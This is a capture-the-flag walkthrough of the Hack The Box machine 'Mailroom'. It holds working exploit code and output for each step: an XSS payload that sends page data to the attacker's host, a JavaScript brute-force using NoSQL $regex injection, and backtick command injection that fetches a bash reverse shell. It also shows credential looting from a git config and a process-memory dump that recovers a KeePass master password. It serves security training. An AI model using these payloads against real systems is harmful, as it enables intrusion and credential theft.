Mailroom

Creator: wyzn

Machine URL: https://app.hackthebox.com/machines/Mailroom

Difficulty: Hard


Initial enumeration

We start with an nmap scan:

┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom]
└─$ sudo nmap -p- 10.129.59.138 -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBsIk5aL2paRLxMWRinGX8YNkoR0QoWuLBzpzq+IZIwWJ8H/ZW2sybQ7xCOaoe37vmNMwFWoZ/2z68JP5eG2n0ucrGkiNXY0ZHzXWvU7BYF2BKxCtCuGLV8vVR/voIkIRPRxgMkxQ8UU0k3sGNkB0sOlsDKWJFIpgruIT3wApfaXp6WYfBHuLee7mHWcLWZfsjnBbYnc2jWRm4z9YTK3USwnsX4f8ki7eC3DYq8RB5Kx7U6u/5aiC0Z50gbuTR5YJPPFt7rawTrPPwT31sS3/Q4kCDfhFWOrcV1wIy2xrEAUG+RtbS84D2RotizXIEphaqueK6Tl8LNZvB2VbL72xqMfSqplCXS3rO9fs2Ie/Q47m9BVNNjwShnwAnGa8kJLXJb+x/qBE2aagzn599dVre9khFU8LWiptr6lw9ksEfPw8f1+XEBXjc2ECWkdap9KOx7QRTIEVzVJ8MRHn/Bp/EQ9Uz+whe6K5U6Egle7JHtd8qUPPUitVX+QyFqBwdH50=
|   256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOZd951iwnVNWvSYmYx8ZJUf9o5yhI3zVuVAfNLLrTdhwnstMMOWcnMDyPgwfnbzDJ89BnmvHuC5k9kVJjIQJpM=
|   256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIImOwXljVycTwdL6fg/kkMWPDWdO+roydyEf8CeBYu7X
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.54 ((Debian))
|_http-title: The Mail Room
|_http-favicon: Unknown favicon MD5: 846CD0D87EB3766F77831902466D753F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)

Just two ports are open.

Investigating the Apache webserver

We are greeted by a webpage for Mailroom Inc. with a hostname in the footer: Made with ♥ for mailroom.htb

Added mailroom.htb to the /etc/hosts

About page

http://mailroom.htb/about.php

The page has a list of employees. This will prove useful in the future.

Contact form

Another interesting page to catch our attention is the contact form – http://mailroom.htb/contact.php

We are able to submit our inquiry and get the link to check its status.

http://mailroom.htb/inquiries/f8a3622e9e344baabae2bd791bba8e0f.html

inquiries

This will probably be a vector going forward. But we will continue poking around the webserver.

Finding git.mailroom.htb

Quick vhosts fuzz reveals another vhost – git.mailroom.htb

┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://10.129.59.138" -H "Host: FUZZ.mailroom.htb" -mc all -fl 129
...
[Status: 200, Size: 13201, Words: 1009, Lines: 268, Duration: 45ms]
    * FUZZ: git
...

Exploring Gitea

http://git.mailroom.htb/ runs Gitea.

It allows us to Explore without logging in.

Repos

Users

staffroom repo

The repository contains the source code for a web application.

In the auth.php source code we discover a reference to another subdomain:

        $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;

http://git.mailroom.htb/matthew/staffroom/src/commit/4b6cd765986ff06ea7247528c42b4127633beb22/auth.php#L42

After adding staff-review-panel.mailroom.htb to /etc/hosts we discover that this subdomain is unreachable – we get the 403 Forbidden.

Command Injection

Looking through the source of inspect.php we discover a potential Command Injection vulnerability:

if (isset($_POST['inquiry_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

http://git.mailroom.htb/matthew/staffroom/src/commit/4b6cd765986ff06ea7247528c42b4127633beb22/inspect.php#L10

However, we can’t use it yet as we can’t reach http://staff-review-panel.mailroom.htb/inspect.php.

More info from the repo
  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-0">');
  if ($start === false) {
    // Data not found
    $data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }

This block of code tells us that for the inquiry to receive a status other than “Irrelevant” we must use <p class="lead mb-0">CONTENTS</p>.

Quickly confirming this assumption on http://mailroom.htb/contact.php

New status

This concludes the initial recon. It’s time to hunt for some vulnerabilities.

XSS – contact.php

As contact.php is our only way to interact with the web application we try a simple XSS payload:

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 120
Content-Type: application/x-www-form-urlencoded

email=hi%40fluff.me&title=Test&message=<p class="lead mb-0"><script>document.location="http://10.10.14.84/"</script></p>

We immediately receive a request on our HTTP server:

┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.157.5 - - [16/Apr/2023 17:38:31] "GET / HTTP/1.1" 200 -
10.129.157.5 - - [16/Apr/2023 17:38:31] code 404, message File not found
10.129.157.5 - - [16/Apr/2023 17:38:31] "GET /favicon.ico HTTP/1.1" 404 -

We have a callback and someone visits the page and executes the basic XSS payload.

Serving our payloads

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 120
Content-Type: application/x-www-form-urlencoded

email=hi%40fluff.me&title=Test&message=<p class="lead mb-0"><script src="http://10.10.14.84/xss.js"></script></p>

We can pass our payloads as xss.js hosted on our machine. All the JS payloads below are contents of xss.js.

Exploitation

Note: for some reason sometimes we need to resend the payload for the fetch to staff-review-panel.mailroom.htb to return results.

Probably, CORS.

If we have no callback, we just send the payload twice! I am usre there is a more elegant solution, but this works just fine.

Reaching staff-review-panel.mailroom.htb

function callhome(data){
    fetch("http://10.10.14.84/"+encodeURI(data));
}

fetch("http://staff-review-panel.mailroom.htb")
    .then(response => response.text())
    .then(data => callhome(data));
"GET /%0A%3C!DOCTYPE%20html%3E%0A%3Chtml%20lang=%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%3Cmeta%20charset=%22utf-8%22%20/%3E%0A%20%20%3Cmeta%20name=%22viewport%22%20content=%22width=device-width,%20initial-scale=1,%20shrink-to-fit=no%22%20/%3E%0A%20%20%3Cmeta%20name=%22description%22%20content=%22%22%20/%3E%0A%20%20%3Cmeta%20name=%22author%22%20content=%22%22%20/%3E%0A%20%20%3Ctitle%3EInquiry%20Review%20Panel%3C/title%3E%0A%20%20%3C!--%20Favicon--%3E%0A%20%20%3Clink%20rel=%22icon%22%20type=%22image/x-icon%22%20href=%22assets/favicon.ico%22%20/%3E%0A%20%20%3C!--%20Bootstrap%20icons--%3E%0A%20%20%3Clink%20href=%22font/bootstrap-icons.css%22%20rel=%22stylesheet%22%20/%3E%0A%20%20%3C!--%20Core%20theme%20CSS%20(includes%20Bootstrap)--%3E%0A%20%20%3Clink%20href=%22css/styles.css%22%20rel=%22stylesheet%22%20/%3E%0A%3C/head%3E%0A%0A%3Cbody%3E%0A%20%20%3Cdiv%20class=%22wrapper%20fadeInDown%22%3E%0A%20%20%20%20%3Cdiv%20id=%22formContent%22%3E%0A%0A%20%20%20%20%20%20%3C!--%20Login%20Form%20--%3E%0A%20%20%20%20%20%20%3Cform%20id='login-form'%20method=%22POST%22%3E%0A%20%20%20%20%20%20%20%20%3Ch2%3EPanel%20Login%3C/h2%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20required%20type=%22text%22%20id=%22email%22%20class=%22fadeIn%20second%22%20name=%22email%22%20placeholder=%22Email%22%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20required%20type=%22password%22%20id=%22password%22%20class=%22fadeIn%20third%22%20name=%22password%22%20placeholder=%22Password%22%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20type=%22submit%22%20class=%22fadeIn%20fourth%22%20value=%22Log%20In%22%3E%0A%20%20%20%20%20%20%20%20%3Cp%20hidden%20id=%22message%22%20style=%22color:%20 HTTP/1.1"

We can reach staff-review-panel.mailroom.htb via XSS and get the response back.

Unfortunately, we still need to log in to exploit the Command Injection that we have found in the inspect.php file.

Authenticating

After studying the source code of auth.php that governs authentication we discover a NoSQL Injection vulnerability:

$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
...

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Verify the parameters are valid
  if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
  }

  // Check if the email and password are correct
  $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

See http://git.mailroom.htb/matthew/staffroom/src/commit/4b6cd765986ff06ea7247528c42b4127633beb22/auth.php#L15

The php code doesn’t exit or die on the invalid input so it is still possible to reach the code that follows the check.

NoSQL Injection – auth.php

Bypassing authentication with [$ne]

function callhome(data){
    fetch("http://10.10.14.84/"+encodeURI(data));
}

fetch("http://staff-review-panel.mailroom.htb/auth.php", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "email[$ne]=a&password[$ne]=a"
    })
    .then(response => response.text())
    .then(data => callhome(data));
"GET /%7B%22success%22:false,%22message%22:%22Invalid%20input%20detected%22%7D%7B%22success%22:true,%22message%22:%22Check%20your%20inbox%20for%20an%20email%20with%20your%202FA%20token%22%7D HTTP/1.1" 404 -

Check your inbox for an email with your 2FA token – We succeed, but we still need a token. And it’s not injectable in the same manner due to proper checks:

// Check if the form has been submitted
else if (isset($_GET['token'])) {
  // Verify Token parameter is valid
  if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
    exit;
  }

Let’s play more with the NoSQL injection instead.

Using [$regex] to find a user

function callhome(data){
    fetch("http://10.10.14.84/"+encodeURI(data));
}

fetch("http://staff-review-panel.mailroom.htb/auth.php", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "email[$regex]=^a&password[$ne]=a"
    })
    .then(response => response.text())
    .then(data => callhome(data));
"GET /%7B%22success%22:false,%22message%22:%22Invalid%20input%20detected%22%7D%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20Cannot%20modify%20header%20information%20-%20headers%20already%20sent%20by%20(output%20started%20at%20/var/www/staffroom/auth.php:20)%20in%20%3Cb%3E/var/www/staffroom/auth.php%3C/b%3E%20on%20line%20%3Cb%3E51%3C/b%3E%3Cbr%20/%3E%0A%7B%22success%22:false,%22message%22:%22Invalid%20email%20or%20password%22%7D HTTP/1.1" 404 -

We have used email[$regex]=^a as an email POST parameter and received an error. This tells us that the username doesn’t start with a.

Using this method and list of the people on the team (http://mailroom.htb/about.php) we find the following:

function callhome(data){
    fetch("http://10.10.14.84/"+encodeURI(data));
}

fetch("http://staff-review-panel.mailroom.htb/auth.php", {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: "email[$regex]=^t&password[$ne]=a"
    })
    .then(response => response.text())
    .then(data => callhome(data));
"GET /%7B%22success%22:false,%22message%22:%22Invalid%20input%20detected%22%7D%7B%22success%22:true,%22message%22:%22Check%20your%20inbox%20for%20an%20email%20with%20your%202FA%20token%22%7D HTTP/1.1" 404 

Username starts with t. There is a Tristan on the contact page.

...
body: "email[$regex]=^tristan&password[$ne]=a"
...

This payload works.

...
body: "email=tristan%40mailroom.htb&password[$ne]=a"
...

Also returns a succesful response. Now we know the username – [email protected]

Using [$regex] to get tristan’s password

In the same manner we can enumerate the password.

Get Length

...
body: "email=tristan%40mailroom.htb&password[$regex]=^.{20}"
...

Doesn’t work, it’s less than 20.

...
body: "email=tristan%40mailroom.htb&password[$regex]=^.{10}"
...

Success. It’s more than 10 characters long. Eventually we arrive at the value of password length:

...
body: "email=tristan%40mailroom.htb&password[$regex]=^.{12}$"
...

It’s 12 characters long.

Get password character by character

In a similar way we can bruteforce the password value too:

function callhome(data){
    fetch("http://10.10.14.84/"+encodeURI(data));
}

pw = '';
found = false;
const alphanumeric = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
const specialChars = '!@#$%^&*-_+=[]{}()|\\/;:\'",.?';

function trypw(character){
    fetch("http://staff-review-panel.mailroom.htb/auth.php", {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: `email=tristan%40mailroom.htb&password[$regex]=^${encodeURI(pw)}${character}`})
    .then(response => response.text())
    .then(data => {
      if (data.includes("Check your")){
        pw = pw + character;
        callhome(pw);
        found = true;
      
    }})
}

dict = alphanumeric + specialChars;

for (let i = 0; i < dict.length; i++) {
  char = dict[i];
  if (specialChars.includes(char)){
    char = '\\' + encodeURI(char);
  }
  else char = encodeURI(char);
  trypw(char);
  if (found){
    break;
  }
}
"GET /6 HTTP/1.1"

The first character out of 12 is 6

We can iterate in a loop until we have a full password but I found it more reliable to just send a payload character by character and change the pw variable. Sometimes the payload needs to be sent several times to find a next character.

After 12 iterations we have a full password for [email protected]69<READACTED>

This password for tirstan is reused both on http://git.mailroom.htb and as the OS user password. We can SSH.

Foothold as tristan

Circling back to Command Injection in inspect.php

During initial enumeration we have found an unsafe shell_exec() in inspect.php:

if (isset($_POST['inquiry_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

http://git.mailroom.htb/matthew/staffroom/src/commit/4b6cd765986ff06ea7247528c42b4127633beb22/inspect.php#L11

As tristan we don’t need to use the XSS anymore and can use curl.

Authenticate on staff-review-panel.mailroom.htb:

tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/auth.php -X POST --data 'email=tristan%40mailroom.htb&password=69<READACTED>'
{"success":true,"message":"Check your inbox for an email with your 2FA token"}

Get 2fa code from /var/mail:

tristan@mailroom:~$ cat /var/mail/tristan | grep token
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=f79c846be5107c29200129585e6bef90 

Get session cookie:

tristan@mailroom:~$ curl -v http://staff-review-panel.mailroom.htb/auth.php?token=f79c846be5107c29200129585e6bef90
...
< Set-Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e; path=/
...

Now we can inject a command in inspect.php.

There is a bad character filter but the ` character is not included in it. We can inject a command with `command` in the inquiry_id POST parameter.

┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom/exploit]
└─$ cat shell.sh           
bash -i >& /dev/tcp/10.10.14.84/443 0>&1
tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/inspect.php -H 'Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e' -X POST --data 'inquiry_id=`curl http://10.10.14.84/shell.sh -o /tmp/shell.sh`' -s -o /dev/null

tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/inspect.php -H 'Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e' -X POST --data 'inquiry_id=`chmod +x /tmp/shell.sh`' -s -o /dev/null

tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/inspect.php -H 'Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e' -X POST --data 'inquiry_id=`bash /tmp/shell.sh`' -s -o /dev/null

We catch a shell as www-data and we are in a container.

Looting the container as www-data

This step is pretty simple. The web application has a .git folder that includes Gitea credentials for user matthew in origin:

www-data@977bce27f35b:/var/www/staffroom$ cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://matthew:H<REDACTED>@gitea:3000/matthew/staffroom.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
[user]
        email = [email protected]

This password is also reused. While we can’t SSH (requires a key) we can su matthew from tristan.

User flag and privilege escalation to root

We finally get to user.txt that is stored in matthew’s home directory.

We also find there personal.kdbx – a Keepass database.

Strangely enough there is a personal.kdbx.lock file alongside it which suggest that the database is being accessed.

We quickly confirm with pspy that kpcli runs every once in a while via systemd as user matthew and accesses the database.

Let’s dump the memory of the process and harvest the cleartext master password from it.

kpcli – Master password from Memory Dump

bash function to dump memory:

procdump()
( 
    cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
    while read a b; do
        dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
           skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
    done )
)

Get PID of kpcli:

matthew@mailroom:~/memdump$ ps -A | grep kpcli
  37710 ?        00:00:00 kpcli

Dump the memory of the process:

matthew@mailroom:~/memdump$ procdump 37710
dd: /proc/37710/mem: cannot skip to specified offset
6+0 records in
6+0 records out
24576 bytes (25 kB, 24 KiB) copied, 0.000658574 s, 37.3 MB/s
...

Note: we have to be quick as the process doesn’t stay open for long. We may need several dumps too.

cat the dumps together and transfer to the attacking machine (target has no strings):

matthew@mailroom:~/memdump$ cat *.bin > memdump.bin

grep for CLEAR:

┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom/exploit]
└─$ strings memdump.bin| grep 'CLEAR:'                     
(?^:^CLEAR:)
CLEAR:
CLEAR:
CLEAR:
CLEAR:!s<READACTED>
CLEAR:!s<READACTED>

We now have a master password for the personal.kdbx.

Credentials in personal.kdbx

┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom/loot]
└─$ kpcli

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> open personal.kdbx 
Provide the master password: *************************
kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root
kpcli:/Root> ls
=== Entries ===
0. food account                                            door.dash.local
1. GItea Admin account                                    git.mailroom.htb
2. gitea database password                                                
3. My Gitea Account                                       git.mailroom.htb
4. root acc                                                               
kpcli:/Root> show -f 4

Title: root acc
Uname: root
 Pass: a$<REDACTED>
  URL: 
Notes: root account for sysadmin jobs

su with this password and get /root/root.txt.